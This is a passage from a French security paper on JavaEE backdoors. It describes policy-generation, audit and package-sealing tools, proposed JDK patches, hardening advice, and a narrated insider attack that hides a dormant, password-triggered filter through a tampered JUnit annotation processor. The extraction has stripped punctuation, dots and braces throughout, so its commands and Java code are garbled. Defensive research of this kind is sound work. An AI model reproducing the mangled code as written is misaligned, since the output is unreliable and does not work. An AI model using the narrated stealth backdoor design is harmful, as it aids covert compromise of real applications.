Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

